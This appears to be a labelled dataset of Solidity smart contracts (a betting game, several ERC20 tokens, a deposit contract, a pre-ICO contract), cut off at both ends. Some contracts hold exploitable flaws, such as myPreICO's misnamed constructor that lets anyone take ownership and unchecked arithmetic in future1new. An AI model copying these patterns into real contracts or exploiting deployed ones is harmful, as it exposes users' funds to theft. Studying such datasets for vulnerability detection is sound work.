function parseAddr(string _a) internal pure returns (address){
bytes memory tmp = bytes(_a);
uint160 iaddr = 0;
uint160 b1;
uint160 b2;
for (uint i=2; i<2+2*20; i+=2){
iaddr *= 256;
b1 = uint160(tmp[i]);
b2 = uint160(tmp[i+1]);
if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87;
else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55;
else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48;
if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87;
else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55;
else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48;
iaddr += (b1*16+b2);
}
return address(iaddr);
}
function strCompare(string _a, string _b) internal pure returns (int) {
bytes memory a = bytes(_a);
bytes memory b = bytes(_b);
uint minLength = a.length;
if (b.length < minLength) minLength = b.length;
for (uint i = 0; i < minLength; i ++)
if (a[i] < b[i])
return -1;
else if (a[i] > b[i])
return 1;
if (a.length < b.length)
return -1;
else if (a.length > b.length)
return 1;
else
return 0;
}
function indexOf(string _haystack, string _needle) internal pure returns (int) {
bytes memory h = bytes(_haystack);
bytes memory n = bytes(_needle);
if(h.length < 1 || n.length < 1 || (n.length > h.length))
return -1;
else if(h.length > (2**128 -1))
return -1;
else
{
uint subindex = 0;
for (uint i = 0; i < h.length; i ++)
{
if (h[i] == n[0])
{
subindex = 1;
while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex])
{
subindex++;
}
if(subindex == n.length)
return int(i);
}
}
return -1;
}
}
function strConcat(string _a, string _b, string _c, string _d, string _e) internal pure returns (string) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(string _a, string _b, string _c, string _d) internal pure returns (string) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(string _a, string _b, string _c) internal pure returns (string) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string _a, string _b) internal pure returns (string) {
return strConcat(_a, _b, "", "", "");
}
function parseInt(string _a) internal pure returns (uint) {
return parseInt(_a, 0);
}
function parseInt(string _a, uint _b) internal pure returns (uint) {
bytes memory bresult = bytes(_a);
uint mint = 0;
bool decimals = false;
for (uint i=0; i<bresult.length; i++){
if ((bresult[i] >= 48)&&(bresult[i] <= 57)){
if (decimals){
if (_b == 0) break;
else _b--;
}
mint *= 10;
mint += uint(bresult[i]) - 48;
} else if (bresult[i] == 46) decimals = true;
}
if (_b > 0) mint *= 10**_b;
return mint;
}
function uint2str(uint i) internal pure returns (string){
if (i == 0) return "0";
uint j = i;
uint len;
while (j != 0){
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (i != 0){
bstr[k--] = byte(48 + i % 10);
i /= 10;
}
return string(bstr);
}
function stra2cbor(string[] arr) internal pure returns (bytes) {
uint arrlen = arr.length;
uint outputlen = 0;
bytes[] memory elemArray = new bytes[](arrlen);
for (uint i = 0; i < arrlen; i++) {
elemArray[i] = (bytes(arr[i]));
outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3;
}
uint ctr = 0;
uint cborlen = arrlen + 0x80;
outputlen += byte(cborlen).length;
bytes memory res = new bytes(outputlen);
while (byte(cborlen).length > ctr) {
res[ctr] = byte(cborlen)[ctr];
ctr++;
}
for (i = 0; i < arrlen; i++) {
res[ctr] = 0x5F;
ctr++;
for (uint x = 0; x < elemArray[i].length; x++) {
if (x % 23 == 0) {
uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x;
elemcborlen += 0x40;
uint lctr = ctr;
while (byte(elemcborlen).length > ctr - lctr) {
res[ctr] = byte(elemcborlen)[ctr - lctr];
ctr++;
}
}
res[ctr] = elemArray[i][x];
ctr++;
}
res[ctr] = 0xFF;
ctr++;
}
return res;
}
function ba2cbor(bytes[] arr) internal pure returns (bytes) {
uint arrlen = arr.length;
uint outputlen = 0;
bytes[] memory elemArray = new bytes[](arrlen);
for (uint i = 0; i < arrlen; i++) {
elemArray[i] = (bytes(arr[i]));
outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3;
}
uint ctr = 0;
uint cborlen = arrlen + 0x80;
outputlen += byte(cborlen).length;
bytes memory res = new bytes(outputlen);
while (byte(cborlen).length > ctr) {
res[ctr] = byte(cborlen)[ctr];
ctr++;
}
for (i = 0; i < arrlen; i++) {
res[ctr] = 0x5F;
ctr++;
for (uint x = 0; x < elemArray[i].length; x++) {
if (x % 23 == 0) {
uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x;
elemcborlen += 0x40;
uint lctr = ctr;
while (byte(elemcborlen).length > ctr - lctr) {
res[ctr] = byte(elemcborlen)[ctr - lctr];
ctr++;
}
}
res[ctr] = elemArray[i][x];
ctr++;
}
res[ctr] = 0xFF;
ctr++;
}
return res;
}
string oraclize_network_name;
function oraclize_setNetworkName(string _network_name) internal {
oraclize_network_name = _network_name;
}
function oraclize_getNetworkName() internal view returns (string) {
return oraclize_network_name;
}
function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){
require((_nbytes > 0) && (_nbytes <= 32));
bytes memory nbytes = new bytes(1);
nbytes[0] = byte(_nbytes);
bytes memory unonce = new bytes(32);
bytes memory sessionKeyHash = new bytes(32);
bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash();
assembly {
mstore(unonce, 0x20)
mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp)))
mstore(sessionKeyHash, 0x20)
mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32)
}
bytes[3] memory args = [unonce, nbytes, sessionKeyHash];
bytes32 queryId = oraclize_query(_delay, "random", args, _customGasLimit);
oraclize_randomDS_setCommitment(queryId, keccak256(bytes8(_delay), args[1], sha256(args[0]), args[2]));
return queryId;
}
function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal {
oraclize_randomDS_args[queryId] = commitment;
}
mapping(bytes32=>bytes32) oraclize_randomDS_args;
mapping(bytes32=>bool) oraclize_randomDS_sessionKeysHashVerified;
function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){
bool sigok;
address signer;
bytes32 sigr;
bytes32 sigs;
bytes memory sigr_ = new bytes(32);
uint offset = 4+(uint(dersig[3]) - 0x20);
sigr_ = copyBytes(dersig, offset, 32, sigr_, 0);
bytes memory sigs_ = new bytes(32);
offset += 32 + 2;
sigs_ = copyBytes(dersig, offset+(uint(dersig[offset-1]) - 0x20), 32, sigs_, 0);
assembly {
sigr := mload(add(sigr_, 32))
sigs := mload(add(sigs_, 32))
}
(sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs);
if (address(keccak256(pubkey)) == signer) return true;
else {
(sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs);
return (address(keccak256(pubkey)) == signer);
}
}
function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) {
bool sigok;
bytes memory sig2 = new bytes(uint(proof[sig2offset+1])+2);
copyBytes(proof, sig2offset, sig2.length, sig2, 0);
bytes memory appkey1_pubkey = new bytes(64);
copyBytes(proof, 3+1, 64, appkey1_pubkey, 0);
bytes memory tosign2 = new bytes(1+65+32);
tosign2[0] = byte(1);
copyBytes(proof, sig2offset-65, 65, tosign2, 1);
bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c";
copyBytes(CODEHASH, 0, 32, tosign2, 1+65);
sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey);
if (sigok == false) return false;
bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4";
bytes memory tosign3 = new bytes(1+65);
tosign3[0] = 0xFE;
copyBytes(proof, 3, 65, tosign3, 1);
bytes memory sig3 = new bytes(uint(proof[3+65+1])+2);
copyBytes(proof, 3+65, sig3.length, sig3, 0);
sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY);
return sigok;
}
modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) {
require((_proof[0] == "L") && (_proof[1] == "P") && (_proof[2] == 1));
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
require(proofVerified);
_;
}
function oraclize_randomDS_proofVerify__returnCode(bytes32 _queryId, string _result, bytes _proof) internal returns (uint8){
if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) return 1;
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
if (proofVerified == false) return 2;
return 0;
}
function matchBytes32Prefix(bytes32 content, bytes prefix, uint n_random_bytes) internal pure returns (bool){
bool match_ = true;
for (uint256 i=0; i< n_random_bytes; i++) {
if (content[i] != prefix[i]) match_ = false;
}
return match_;
}
function oraclize_randomDS_proofVerify__main(bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){
uint ledgerProofLength = 3+65+(uint(proof[3+65+1])+2)+32;
bytes memory keyhash = new bytes(32);
copyBytes(proof, ledgerProofLength, 32, keyhash, 0);
if (!(keccak256(keyhash) == keccak256(sha256(context_name, queryId)))) return false;
bytes memory sig1 = new bytes(uint(proof[ledgerProofLength+(32+8+1+32)+1])+2);
copyBytes(proof, ledgerProofLength+(32+8+1+32), sig1.length, sig1, 0);
if (!matchBytes32Prefix(sha256(sig1), result, uint(proof[ledgerProofLength+32+8]))) return false;
bytes memory commitmentSlice1 = new bytes(8+1+32);
copyBytes(proof, ledgerProofLength+32, 8+1+32, commitmentSlice1, 0);
bytes memory sessionPubkey = new bytes(64);
uint sig2offset = ledgerProofLength+32+(8+1+32)+sig1.length+65;
copyBytes(proof, sig2offset-64, 64, sessionPubkey, 0);
bytes32 sessionPubkeyHash = sha256(sessionPubkey);
if (oraclize_randomDS_args[queryId] == keccak256(commitmentSlice1, sessionPubkeyHash)){
delete oraclize_randomDS_args[queryId];
} else return false;
bytes memory tosign1 = new bytes(32+8+1+32);
copyBytes(proof, ledgerProofLength, 32+8+1+32, tosign1, 0);
if (!verifySig(sha256(tosign1), sig1, sessionPubkey)) return false;
if (oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] == false){
oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset);
}
return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash];
}
function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal pure returns (bytes) {
uint minLength = length + toOffset;
require(to.length >= minLength);
uint i = 32 + fromOffset;
uint j = 32 + toOffset;
while (i < (32 + fromOffset + length)) {
assembly {
let tmp := mload(add(from, i))
mstore(add(to, j), tmp)
}
i += 32;
j += 32;
}
return to;
}
function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) {
bool ret;
address addr;
assembly {
let size := mload(0x40)
mstore(size, hash)
mstore(add(size, 32), v)
mstore(add(size, 64), r)
mstore(add(size, 96), s)
ret := call(3000, 1, 0, size, 128, size, 32)
addr := mload(size)
}
return (ret, addr);
}
function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address) {
bytes32 r;
bytes32 s;
uint8 v;
if (sig.length != 65)
return (false, 0);
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
if (v < 27)
v += 27;
if (v != 27 && v != 28)
return (false, 0);
return safer_ecrecover(hash, v, r, s);
}
}
contract EthFlip is usingOraclize {
struct Bet {
bool win;
uint betValue;
uint timestamp;
address playerAddress;
uint randomNumber;
bool low;
}
struct Player {
uint[] betNumbers;
}
struct QueryMap {
uint betValue;
address playerAddress;
bool low;
}
bool private gamePaused;
uint private minBet;
uint private maxBet;
uint private houseFee;
uint private oraclizeGas;
uint private oraclizeGasPrice;
address private owner;
uint private currentQueryId;
uint private currentBetNumber;
uint private totalPayouts;
uint private totalWins;
uint private totalLosses;
bool private win;
uint private randomNumber;
mapping (address => Player) private playerBetNumbers;
mapping (uint => Bet) private pastBets;
mapping (uint => QueryMap) private queryIdMap;
event BetComplete(bool _win, uint _betNumber, uint _betValue, uint _timestamp, address _playerAddress, uint _randomNumber, bool _low);
event GameStatusUpdate(bool _paused);
event MinBetUpdate(uint _newMin);
event MaxBetUpdate(uint _newMax);
event HouseFeeUpdate(uint _newFee);
event OwnerUpdate(address _newOwner);
modifier gameIsActive {
require(!gamePaused);
_;
}
modifier gameIsNotActive {
require(gamePaused);
_;
}
modifier senderIsOwner {
require(msg.sender == owner);
_;
}
modifier senderIsOraclize {
require(msg.sender == oraclize_cbAddress());
_;
}
modifier sentEnoughForBet {
require(msg.value >= minBet);
_;
}
modifier didNotSendOverMaxBet {
require(msg.value <= maxBet);
_;
}
function EthFlip() public {
minBet = 100000000000000000;
maxBet = 500000000000000000;
houseFee = 29;
oraclizeGas = 500000;
oraclizeGasPrice = 3010000000;
oraclize_setCustomGasPrice(oraclizeGasPrice);
oraclize_setProof(proofType_Ledger);
owner = msg.sender;
totalPayouts = 14429060000000000000;
totalWins = 71;
totalLosses = 70;
}
function() public payable {}
function betLow() public payable gameIsActive sentEnoughForBet didNotSendOverMaxBet {
secureGenerateNumber(msg.sender, msg.value, true);
}
function betHigh() public payable gameIsActive sentEnoughForBet didNotSendOverMaxBet {
secureGenerateNumber(msg.sender, msg.value, false);
}
function secureGenerateNumber(address _playerAddress, uint _betValue, bool _low) private {
bytes32 queryId = oraclize_newRandomDSQuery(0, 1, oraclizeGas);
uint convertedId = uint(keccak256(queryId));
newUnprocessedQuery(convertedId, queryId);
queryIdMap[convertedId].betValue = _betValue;
queryIdMap[convertedId].playerAddress = _playerAddress;
queryIdMap[convertedId].low = _low;
}
function checkIfWon() private {
if (randomNumber != 101) {
if (queryIdMap[currentQueryId].low) {
if (randomNumber < 51) {
win = true;
sendPayout(subtractHouseFee(queryIdMap[currentQueryId].betValue*2));
} else {
win = false;
sendOneWei();
}
} else {
if (randomNumber > 50) {
win = true;
sendPayout(subtractHouseFee(queryIdMap[currentQueryId].betValue*2));
} else {
win = false;
sendOneWei();
}
}
} else {
win = false;
sendRefund();
}
logBet();
}
function sendPayout(uint _amountToPayout) private {
uint payout = _amountToPayout;
_amountToPayout = 0;
queryIdMap[currentQueryId].playerAddress.transfer(payout);
}
function sendOneWei() private {
queryIdMap[currentQueryId].playerAddress.transfer(1);
}
function sendRefund() private {
queryIdMap[currentQueryId].playerAddress.transfer(queryIdMap[currentQueryId].betValue);
}
function subtractHouseFee(uint _amount) view private returns (uint _result) {
return (_amount*(1000-houseFee))/1000;
}
function logBet() private {
currentBetNumber++;
if (win) {
totalWins++;
totalPayouts += subtractHouseFee(queryIdMap[currentQueryId].betValue*2);
} else {
if (randomNumber != 101) {
totalLosses++;
}
}
pastBets[currentBetNumber] = Bet({win:win, betValue:queryIdMap[currentQueryId].betValue, timestamp:block.timestamp, playerAddress:queryIdMap[currentQueryId].playerAddress, randomNumber:randomNumber, low:queryIdMap[currentQueryId].low});
playerBetNumbers[queryIdMap[currentQueryId].playerAddress].betNumbers.push(currentBetNumber);
BetComplete(win, currentBetNumber, queryIdMap[currentQueryId].betValue, block.timestamp, queryIdMap[currentQueryId].playerAddress, randomNumber, queryIdMap[currentQueryId].low);
queryIdMap[currentQueryId].betValue = 0;
}
function getLastBetNumber() constant public returns (uint) {
return currentBetNumber;
}
function getTotalPayouts() constant public returns (uint) {
return totalPayouts;
}
function getTotalWins() constant public returns (uint) {
return totalWins;
}
function getTotalLosses() constant public returns (uint) {
return totalLosses;
}
function getBalance() constant public returns (uint) {
return this.balance;
}
function getGamePaused() constant public returns (bool) {
return gamePaused;
}
function getMinBet() constant public returns (uint) {
return minBet;
}
function getMaxBet() constant public returns (uint) {
return maxBet;
}
function getHouseFee() constant public returns (uint) {
return houseFee;
}
function getOraclizeGas() constant public returns (uint) {
return oraclizeGas;
}
function getOraclizeGasPrice() constant public returns (uint) {
return oraclizeGasPrice;
}
function getOwnerAddress() constant public returns (address) {
return owner;
}
function getPlayerBetNumbers(address _playerAddress) constant public returns (uint[] _betNumbers) {
return (playerBetNumbers[_playerAddress].betNumbers);
}
function getPastBet(uint _betNumber) constant public returns (bool _win, uint _betValue, uint _timestamp, address _playerAddress, uint _randomNumber, bool _low) {
require(currentBetNumber >= _betNumber);
return (pastBets[_betNumber].win, pastBets[_betNumber].betValue, pastBets[_betNumber].timestamp, pastBets[_betNumber].playerAddress, pastBets[_betNumber].randomNumber, pastBets[_betNumber].low);
}
function getUnprocessedQueryList() constant public returns (uint[] _unprocessedQueryList) {
if (unprocessedQueryList.length > 0) {
return unprocessedQueryList;
} else {
uint[] memory empty;
return empty;
}
}
function getUnprocessedQueryBytes32(uint _unprocessedQueryHash) constant public returns (bytes32 _unprocessedQueryBytes32) {
return unprocessedQueryBytes32s[_unprocessedQueryHash].unprocessedQueryBytes32;
}
function pauseGame() public senderIsOwner gameIsActive {
gamePaused = true;
GameStatusUpdate(true);
}
function resumeGame() public senderIsOwner gameIsNotActive {
gamePaused = false;
GameStatusUpdate(false);
}
function setMaxBet(uint _newMax) public senderIsOwner gameIsNotActive {
require(_newMax >= 100000000000000000);
maxBet = _newMax;
MaxBetUpdate(_newMax);
}
function setMinBet(uint _newMin) public senderIsOwner gameIsNotActive {
require(_newMin >= 100000000000000000);
minBet = _newMin;
MinBetUpdate(_newMin);
}
function setHouseFee(uint _newFee) public senderIsOwner gameIsNotActive {
require(_newFee <= 100);
houseFee = _newFee;
HouseFeeUpdate(_newFee);
}
function setOraclizeGas(uint _newGas) public senderIsOwner gameIsNotActive {
oraclizeGas = _newGas;
}
function setOraclizeGasPrice(uint _newPrice) public senderIsOwner gameIsNotActive {
oraclizeGasPrice = _newPrice + 10000000;
oraclize_setCustomGasPrice(oraclizeGasPrice);
}
function setOwner(address _newOwner) public senderIsOwner gameIsNotActive {
owner = _newOwner;
OwnerUpdate(_newOwner);
}
function selfDestruct() public senderIsOwner gameIsNotActive {
selfdestruct(owner);
}
struct UnprocessedQueryBytes32 {
bytes32 unprocessedQueryBytes32;
uint listPointer;
}
mapping(uint => UnprocessedQueryBytes32) public unprocessedQueryBytes32s;
uint[] public unprocessedQueryList;
function isUnprocessedQuery(uint unprocessedQueryUint) private constant returns(bool isIndeed) {
if(unprocessedQueryList.length == 0) return false;
return (unprocessedQueryList[unprocessedQueryBytes32s[unprocessedQueryUint].listPointer] == unprocessedQueryUint);
}
function getUnprocessedQueryCount() private constant returns(uint unprocessedQueryCount) {
return unprocessedQueryList.length;
}
function newUnprocessedQuery(uint unprocessedQueryUint, bytes32 unprocessedQueryBytes32) private {
if(isUnprocessedQuery(unprocessedQueryUint)) throw;
unprocessedQueryBytes32s[unprocessedQueryUint].unprocessedQueryBytes32 = unprocessedQueryBytes32;
unprocessedQueryBytes32s[unprocessedQueryUint].listPointer = unprocessedQueryList.push(unprocessedQueryUint) - 1;
}
function deleteUnprocessedQuery(uint unprocessedQueryUint) private {
if(!isUnprocessedQuery(unprocessedQueryUint)) throw;
uint rowToDelete = unprocessedQueryBytes32s[unprocessedQueryUint].listPointer;
uint keyToMove = unprocessedQueryList[unprocessedQueryList.length-1];
unprocessedQueryList[rowToDelete] = keyToMove;
unprocessedQueryBytes32s[keyToMove].listPointer = rowToDelete;
unprocessedQueryList.length--;
}
function __callback(bytes32 _queryId, string _result, bytes _proof) public senderIsOraclize {
currentQueryId = uint(keccak256(_queryId));
if (oraclize_randomDS_proofVerify__returnCode(_queryId, _result, _proof) == 0) {
randomNumber = (uint(keccak256(_result)) % 100) + 1;
} else {
randomNumber = 101;
}
if (queryIdMap[currentQueryId].betValue != 0) {
deleteUnprocessedQuery(currentQueryId);
checkIfWon();
}
}
} | 0 | 2,544 |
pragma solidity ^0.4.18;
contract PieTokenBase {
uint256 _supply;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) _approvals;
event Transfer( address indexed from, address indexed to, uint value);
event Approval( address indexed owner, address indexed spender, uint value);
function PieTokenBase() public {
}
function totalSupply() public view returns (uint256) {
return _supply;
}
function balanceOf(address src) public view returns (uint256) {
return _balances[src];
}
function allowance(address src, address guy) public view returns (uint256) {
return _approvals[src][guy];
}
function transfer(address dst, uint wad) public returns (bool) {
assert(_balances[msg.sender] >= wad);
_balances[msg.sender] = sub(_balances[msg.sender], wad);
_balances[dst] = add(_balances[dst], wad);
Transfer(msg.sender, dst, wad);
return true;
}
function transferFrom(address src, address dst, uint wad) public returns (bool) {
assert(_balances[src] >= wad);
assert(_approvals[src][msg.sender] >= wad);
_balances[src] = sub(_balances[src], wad);
_balances[dst] = add(_balances[dst], wad);
_approvals[src][msg.sender] = sub(_approvals[src][msg.sender], wad);
Transfer(src, dst, wad);
return true;
}
function approve(address guy, uint256 wad) public returns (bool) {
_approvals[msg.sender][guy] = wad;
Approval(msg.sender, guy, wad);
return true;
}
function add(uint256 x, uint256 y) internal pure returns (uint256 z) {
assert((z = x + y) >= x);
}
function sub(uint256 x, uint256 y) internal pure returns (uint256 z) {
assert((z = x - y) <= x);
}
}
contract PieToken is PieTokenBase {
string public symbol = "PIE";
string public name = "CANDY PIE";
uint256 public decimals = 18;
address public owner;
function PieToken() public {
_supply = 10*(10**8)*(10**18);
owner = msg.sender;
_balances[msg.sender] = _supply;
}
function transfer(address dst, uint wad) public returns (bool) {
return super.transfer(dst, wad);
}
function transferFrom( address src, address dst, uint wad ) public returns (bool) {
return super.transferFrom(src, dst, wad);
}
function approve(address guy, uint wad) public returns (bool) {
return super.approve(guy, wad);
}
function burn(uint128 wad) public {
require(msg.sender==owner);
_balances[msg.sender] = sub(_balances[msg.sender], wad);
_supply = sub(_supply, wad);
}
} | 1 | 4,832 |
pragma solidity ^0.4.18;
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract Amalgam is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
function Amalgam() public {
symbol = "AMG";
name = "Amalgam";
decimals = 18;
_totalSupply = 200000000000000000000000000;
balances[0xb71cD3032aa368C6e9Ec9248EB4677FD835D8320] = _totalSupply;
Transfer(address(0), 0xb71cD3032aa368C6e9Ec9248EB4677FD835D8320, _totalSupply);
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 1 | 4,167 |
pragma solidity ^0.5.2;
contract ERC20 {
function totalSupply() public returns (uint);
function balanceOf(address tokenOwner) public view returns (uint balance);
function allowance(address tokenOwner, address spender) public returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract future1new
{
address public adminaddr;
address public useraddr;
mapping (address => mapping(address => uint256)) public dep_token;
constructor() public
{
adminaddr = msg.sender;
}
function safeAdd(uint crtbal, uint depbal) public pure returns (uint)
{
uint totalbal = crtbal + depbal;
return totalbal;
}
function safeSub(uint crtbal, uint depbal) public pure returns (uint)
{
uint totalbal = crtbal - depbal;
return totalbal;
}
function balanceOf(address token,address user) public view returns(uint256)
{
return ERC20(token).balanceOf(user);
}
function transfer(address token, uint256 tokens)public payable
{
ERC20(token).transferFrom(msg.sender, address(this), tokens);
dep_token[msg.sender][token] = safeAdd(dep_token[msg.sender][token] , tokens);
}
function admin_token_withdraw(address token, address to, uint256 tokens)public payable
{
if(adminaddr==msg.sender)
{
if(dep_token[to][token]>=tokens)
{
dep_token[to][token] = safeSub(dep_token[to][token] , tokens) ;
ERC20(token).transfer(to, tokens);
}
}
}
function tok_bal_contract(address token) public view returns(uint256)
{
return ERC20(token).balanceOf(address(this));
}
function depositETH() payable external
{
}
function admin_withdrawETH(address payable to, uint256 value) public payable returns (bool)
{
if(adminaddr==msg.sender)
{
to.transfer(value);
return true;
}
}
} | 1 | 4,056 |
pragma solidity ^0.4.24;
contract Ownable {
address public owner;
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
}
contract myPreICO is Ownable {
uint public ETHRaised;
uint public soft_cap = 1 ether;
uint public hard_cap = 10 ether;
address public owner = 0x0;
uint public end_date;
address[] public holders;
mapping (address => uint) public holder_balance;
function myICO() public {
owner = msg.sender;
end_date = now + 90 days;
}
function sendFunds(address _addr) public onlyOwner {
require (ETHRaised >= soft_cap);
_addr.transfer(address(this).balance);
}
function withdraw() public {
uint amount;
require(now > end_date);
require(ETHRaised < hard_cap);
amount = holder_balance[msg.sender];
holder_balance[msg.sender] = 0;
msg.sender.transfer(amount);
}
function () public payable {
require(msg.value > 0);
holders.push(msg.sender);
holder_balance[msg.sender] += msg.value;
ETHRaised += msg.value;
}
function getFunds() public view returns (uint){
return address(this).balance;
}
} | 1 | 3,950 |
pragma solidity ^0.4.20;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
uint256 _allowance = allowed[_from][msg.sender];
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
